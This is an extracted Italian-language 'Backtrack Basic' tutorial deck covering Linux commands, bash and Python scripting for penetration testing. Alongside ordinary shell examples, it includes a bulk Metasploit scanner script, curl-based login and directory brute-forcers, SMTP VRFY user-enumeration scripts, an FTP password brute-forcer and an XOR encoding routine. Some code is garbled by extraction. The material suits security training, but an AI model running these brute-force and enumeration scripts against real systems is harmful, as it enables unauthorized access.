  • 7. Backtrack Basic. Per ripristinare il MBR danneggiato devo #dd if= mbrwindow of=/dev/hda count=1 bs=512 Per testare le dimensioni di una cartella posso fare: #du -ah --max-depth=1 / Per visualizzare le prime righe di un file: #head –n <nr righe> file Librerie dinamiche (.so): ldd - ldconfig Le librerie associate ad un programma possono essere:  Statiche (.sa):  Dinamiche (.so): Posso verificare quali librerie non sono caricate all’interno del programma con ldd #ldd /path/<programma> Se il mio programma non viene eseguito a causa di collegamenti alle librerie esterne, per risolvere il problema posso fare in vari modi  #ldconfig  metto il path della libreria che il programma non trova in ‘/etc/ld.so.conf’ ed eseguo ancora ldconfig  metto il path della libreria nella variabile d’ambiente ‘LD_LIBRARY_PATH’ setenv LD_LIBRARY_PATH /Path/alla/mia/library/ Moduli (.ko): modprobe Per visualizzare tutti i moduli che ho a disposizione: #modprobe -l Se non trovo il modulo che mi serve allora devo ricompilare il kernel! Per caricare un modulo e le sue dipendenze utilizzo il comando modprobe. Ad esempio se cerco le dipendenze del modulo zd1211 # modprobe zd1211 Per caricare tutti i moduli: # modprobe -a Per scaricare un modulo basta (tornando al caso precedente): # modprobe –r zd1211 rm –r <cartella> Mi consente di cancellare una cartella e tutte le sottocartelle. tail –f <nome file> Visualizza le ultime linee di un file. Con l'opzione "-f" visualizza le ultime righe. uname Restituisce informazioni relative a: # uname –r la versione del kernel in uso # uname –p il tipo di processore in uso # uname –a tutte le informazioni basename - dirname #basename /usr/idrogeno/ossigeno #ossigeno #dirname /usr/idrogeno/ossigeno #/usr/idrogeno find /etc –name hosts.* –print Ricerca file di qualsiasi tipo nel filesystem. #groupadd mioGruppo Per creare un nuovo gruppo basta #useradd mioUtente –c Commento –d /mia Home –g mio Gruppo Luigi Capuzzello 6
  • 8. Backtrack Basic. Creo l’utente ‘mioUtente’ con un commento descrittivo ‘Commento’ con la home in ‘MiaHome’ e appartenente al gruppo ‘Gruppo’ Per dare una password all’utente farò: #passwd mioUtente suaPassword Per cancellare gli utenti e i gruppi uso #groupdel #userdel namei Scompone un path nei suoi elementi e li analizza uno per uno identificandoli come:  f: il pathname che si sta analizzando;  d directory;  l link simbolico;  s socket;  b block device (dispositivo a blocchi);  c character device (dispositivo a caratteri);  - file normale;  ? errore. Esempi $ namei /usr/bin/X11 Genera il seguente risultato: f: /usr/bin/X11 d/ d usr d bin l X11 -> ../X11R6/bin d .. d X11R6 d bin [tar – gzip – zip]. #tar –cvf MiaCartella.tar MiaCartella #tar –xvf MiaCartella.tar gzip NomeFile gunzip NomeFile.gz  ottengo NomeFile.gz  ottengo NomeFile zip NomeFile unzip NomeFile.zip  ottengo NomeFile.zip  ottengo NomeFile grep #grep Parola /etc/ -r -cerca ‘Parola’ all’interno di tutti i file di /etc e in tutte le sottocartelle (-r) Cut - awk #echo “oggi:dopo:la messa:vado a casa” | cut –d : -f 3 preleva ‘la messa’ cut -d ' ' -f2,3 filename è equivalente a awk -F'[ ]' '{ print $2, $3 }' filename il vantaggio è che posso invertire l’ordine degli addendi: awk -F'[ ]' '{ print $3, $2 }' filename Luigi Capuzzello 7
  • 9. Backtrack Basic. Bash Environment La definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi. Variabili #!/bin/bash STRING="HELLO WORLD!!!" echo $STRING Passaggio di parametri #!/bin/bash # use predefined variables to access passed arguments #echo arguments to the shell echo $1 $2 $3 ' -> echo $1 $2 $3' # We can also store arguments from bash command line in special array args=("$@") #echo arguments to the shell echo ${args[0]} ${args[1]} ${args[2]} ' -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]}' #use $@ to print out all arguments at once echo $@ ' -> echo $@' # use $# variable to print out # number of arguments passed to the bash script echo Number of arguments passed: $# ' -> echo Number of arguments passed: $#' User Input #!/bin/bash echo -e "Hi, please type the word: c " read word echo "The word you entered is: $word" echo -e "Can you please enter two words? " read word1 word2 echo "Here is your input: "$word1" "$word2"" echo -e "How do you feel about bash scripting? " # read command now stores a reply into the default build-in variable $REPLY read echo "You said $REPLY, I'm glad to hear that! " echo -e "What are your favorite colours ? " # -a makes read command to read into an array read -a colours echo "My favorite colours are also ${colours[0]}, ${colours[1]} and ${colours[2]}:-)" Bash Trap Command #!/bin/bash # bash trap command trap bashtrap INT # bash clear screen command clear; # bash trap function is executed when CTRL-C is pressed: # bash prints message => Executing bash trap subrutine ! bashtrap() { echo "CTRL+C Detected !...executing bash trap !" } # for loop from 1/10 to 10/10 for a in `seq 1 10`; do echo "$a/10 to Exit." sleep 1; done echo "Exit Bash Trap Example!!!" Luigi Capuzzello 8
  • 10. Backtrack Basic. Array se myHost vale www.target.com allora splitto e carico in un array myHost=$1 hostPart=$(echo $myHost | tr "." "n") for x in ${hostPart[@]} do echo $x done Leggere un file e metterlo in un Array #!/bin/bash # Declare array declare -a ARRAY # Link filedescriptor 10 with stdin exec 10<&0 # stdin replaced with a file supplied as a first argument exec < $1 let count=0 while read LINE; do ARRAY[$count]=$LINE ((count++)) done echo Number of elements: ${#ARRAY[@]} # echo array's content echo ${ARRAY[@]} # restore stdin from filedescriptor 10 # and close filedescriptor 10 exec 0<&10 10<&- if statement #!/bin/bash directory="./BashScripting" # bash check if directory exists if [ -d $directory ]; then echo "Directory exists" else echo "Directory does not exists" fi For statement #!/bin/bash for (( c=1; c<=5; c++ )) do echo "Welcome $c times" done Arithmetic Comparison #!/bin/bash # declare integers NUM1=2 NUM2=2 if [ $NUM1 -eq $NUM2 ]; then echo "Both Values are equal" else Luigi Capuzzello 9
  • 11. Backtrack Basic. echo "Values are NOT equal" fi -lt -gt -le -ge -eq -ne < > <= >= == != String Comparison #!/bin/bash #Declare string S1 S1="Bash" #Declare string S2 S2="Scripting" if [ $S1 = $S2 ]; then echo "Both Strings are equal" else echo "Strings are NOT equal" fi == != < > -n s1 -z s1 Equal not equal less then greater then string s1 is not empty string s1 is empty Bash File Testing -b filename -c filename -d directoryname -e filename -f filename -G filename -g filename -k filename -L filename -O filename -r filename -S filename -s filename -u filename -w filename -x filename Block special file Special character file Check for directory existence Check for file existence Check for regular file existence not a directory Check if file exists and is owned by effective group ID. true if file exists and is set-group-id. Sticky bit Symbolic link True if file exists and is owned by the effective user id. Check if file is a readable Check if file is socket Check if file is nonzero size Check if file set-ser-id bit is set Check if file is writable Check if file is executable Funzioni !/bin/bash # BASH FUNCTIONS CAN BE DECLARED IN ANY ORDER function function_B { echo Function B. } function function_A { echo $1 } function function_D { echo Function D. } function function_C { echo $1 } # FUNCTION CALLS Luigi Capuzzello 10
  • 12. Backtrack Basic. # Pass parameter to function A function_A "Function A." function_B # Pass parameter to function C function_C "Function C." function_D Alcuni esempi di comandi interessanti Elaboro contenuto pagina web #!/bin/bash wget http://www.offsec.com/pwbonline/icq.html -O icq.txt -o /dev/null grep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u > icq-srv.txt ricavo dal file gli IP (ciclo for) #!/bin/bash for hostname in $(cat icq-srv.txt);do host $hostname done chiedo dati all’utente #!/bin/bash echo "Please enter Class C IP network range:" echo "eg: 194.29.32" read range for ip in `seq 1 254`;do host $range.$ip |grep "name pointer" |cut -d" " -f1,5 #prendo il campo 1 e 5 done Prendo dati all’avvio della shell #/bin/bash # Simple Zone Transfer Bash Script # $1 is the first argument given after the bash script # Check if argument was given, if not, print usage if [ -z "$1" ]; then echo "[*] Simple Zone transfer script" echo "[*] Usage : $0 <domain name> " echo "[*] Example : $0 aeoi.org.ir " exit 0 fi funzioni e if statement (multisploit.sh) #!/bin/bash # execute auxiliary script about metasploit # the ini file are obtained from a 'search ftp' and a 'seach smb' on metasploit msfconsole function myinstr(){ #si="ciao mamma come stai" #st="mammasss" si="$1" st="$2" sf=${si##*$st} #echo ${#sf} #echo ${#si} if [ ${#sf} == ${#si} ]; then #echo ">>>>>>>>> stringa NON trovata" return 0 Luigi Capuzzello 11
  • 13. Backtrack Basic. else #echo ">>>>>>>>> stringa trovata" return 1 fi } if [ -z "$5" ]; then echo "[*] Execute multi auxiliary scanner on metasploit" echo "[*] Usage : $0 <Target IP> <Target Port (Nr | x)> <Target SO (linux | windows)> <auxiliary scanner for (ssh | ftp | smtp | tftp | http | pop3 | smb | snmp | mysql | mssql | oracle | vnc | custom)> <Threads Number>" echo "" echo "[*] Example : $0 192.168.11.145 x linux smb 5" echo "" exit 0 fi echo echo echo echo echo echo echo "" "=============================" "=" "= TARGET $1:$2" "= protocol: $4" "=" "=============================" #echo "so do you want to test $1:$2" #echo "SO: $3" #echo "Protocol: $4" for aux in $(cat "multisploit_$4.ini" | cut -d" " -f4);do if [ "$2" == "x" ]; then #No specified port I take the default port mycommand="$aux RHOST=$1 RHOSTS=$1 THREADS=$5 E" else mycommand="$aux RHOST=$1 RHOSTS=$1 RPORT=$2 THREADS=$5 E" fi #if SO is linux then I skip all auxiliaries that contain dos or windows if [ "$3" == "linux" ]; then skip="0" myinstr "$aux" "windows" return_val=$? if [ "$return_val" == "1" ]; then skip="1" else myinstr "$aux" "dos" return_val=$? if [ "$return_val" == "1" ]; then skip="1" fi fi if [ "$skip" == "1" ]; then echo "skiping ...$aux" mycommand="" fi fi #if SO is windows then I skip all auxiliaries that contain linux if [ "$3" == "windows" ]; then skip="0" myinstr "$aux" "linux" return_val=$? if [ "$return_val" == "1" ]; then Luigi Capuzzello 12
  • 14. Backtrack Basic. skip="1" fi if [ "$skip" == "1" ]; then echo "skiping ...$aux" mycommand="" fi fi #salto tutti i fuzzer skip="0" myinstr "$aux" "fuzzer" return_val=$? if [ "$return_val" == "1" ]; then skip="1" fi if [ "$skip" == "1" ]; then echo "skiping ...$aux" mycommand="" fi if [ "$mycommand" != "" ]; then echo "" echo "executing ... $aux" /pentest/exploits/framework3/msfcli $mycommand fi done Esempio di utilizzo di curl (user:password) Dizionario: ftp://ftp.openwall.com/ #!/ bin/ bash # PAINSEC web login fuzzer used in "How Strong is your Fu? if [ $# -ne 1 ] then echo " Usage : `basename $0 ` <dictionary >" exit -1 fi # We loop all over the dictionary for i in `cat $1 ` do # We know the user is admin ... curl -u admin :$i http :// www1 .noob - filter .com/ dotDefender > tmp 2> / dev / null # " Required " is our blind keyword if grep Required tmp > /dev / null ; then echo " Not $i ... " else # Good news :) echo " Found ! $i" exit fi done rm tmp Esempio di curl (loop sulle cartelle) Dizionario: ftp://ftp.openwall.com/ #!/ bin/sh # PAINSEC , Web fuzzer developed for How Strong is Your Fu? # Check syntax if [ $# -ne 2 ] then echo " Usage : `basename $0 ` <dictionary > <output file >" exit -1 fi echo -n "" > temp . txt # Loop over all dictionary Luigi Capuzzello 13
  • 15. Backtrack Basic. for i in `cat $1 ` do # Get the page , dump the header to " header . txt " curl -D header .txt http :// localhost :8080/ $i > / dev/ null 2> / dev / null # Write header status to screen and file echo -n -e "$ittt" cat header . txt | head -n 1 echo -n -e "$itt" >> temp . txt cat header . txt | head -n 1 >> temp . txt done # Finished , remove temporal files and save no -404 results in output file rm header . txt cat temp . txt | grep -v 404 > $2 rm temp . txt Luigi Capuzzello 14
  • 16. Backtrack Basic. python environment Anche in questo caso la definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi. Connessione alla porta 25 e verifico se funziona il commando VRFY - socket #!/usr/bin/python import socket import sys if len(sys.argv) != 2: print "Usage: vrfy.py <username>" sys.exit(0) # Create a Socket s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to the Server connect=s.connect(('192.168.0.10',25)) # Recieve the banner banner=s.recv(1024) print banner # VRFY a user s.send('VRFY ' + sys.argv[1] + 'rn') result=s.recv(1024) print result # Close the socket s.close() Questo script controlla se un elenco di IP (presi da file di testo) rilascia le email di un elenco di nomi (presi da file di testo): - Socket - Prelevare dati da input - Lettura da file - array #!/usr/bin/python import socket import sys import fileinput import array if len(sys.argv) != 3: print "Usage: smtp_vrfy.py <server_list.txt> <name_list.txt>" sys.exit(0) arrip=[] arrnomi=[] arrris=[] # Connect to the Server prelevato da file for ipsrv in fileinput.input(sys.argv[1]): arrip.append(ipsrv) #Controllo ogni nome possibile for nome in fileinput.input(sys.argv[2]): arrnomi.append(nome) for elnome in arrnomi: for elip in arrip: print elnome + " " + elip # Create a Socket s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #print ipsrv connect=s.connect((elip,25)) ## Recieve the banner banner=s.recv(1024) print banner ## VRFY a user #s.send('VRFY ' + sys.argv[1] + 'rn') s.send('HELO test@thinc.localrn') Luigi Capuzzello 15
  • 17. Backtrack Basic. result=s.recv(1024) s.send('VRFY '+ elnome + 'rn') result=s.recv(1024) if result.find('250')>=0: #ho trovato qualche cosa print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" arrris.append(result) print result ## Close the socket s.close() print "" print "" print "=================" print "AT THE END" print "these are the results" for elris in arrris: print elris Questo script fa brute force su FTP - definizione delle funzioni - lettura da file #!/usr/bin/python import socket import re import sys def connect(username,password): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*] Trying " + username + ":" + password s.connect(('192.168.0.112',21)) data = s.recv(1024) s.send('USER ' + username + 'rn') data = s.recv(1024) s.send('PASS ' + password + 'rn') data = s.recv(3) #prendo I primi 3 caratteri e basta!!! s.send('QUITrn') s.close() return data username = "ftp" f=open(‘pass.txt’) lines=f.readlines() f.close() for line in lines: attempt=connect(username,line) if attempt == "230": print "[*] Password found: "+ password sys.exit(0) questo script crea una funzione xor: - creare e usare funzioni #!/usr/bin/python #coded by sinn3r import socket, sys ## XOR routine def xorme(data): input = data output = "" for char in input: tmp = char.encode("hex") key = "x04".encode("hex") int_byte = int(tmp, 16) int_key = int(key, 16) xor = int_byte ^ int_key output += chr(xor) return output buffer = sys.argv[1] Luigi Capuzzello 16
  • 18. Backtrack Basic. buffer = buffer + "rnrn" xor_buffer = xorme(buffer) Luigi Capuzzello 17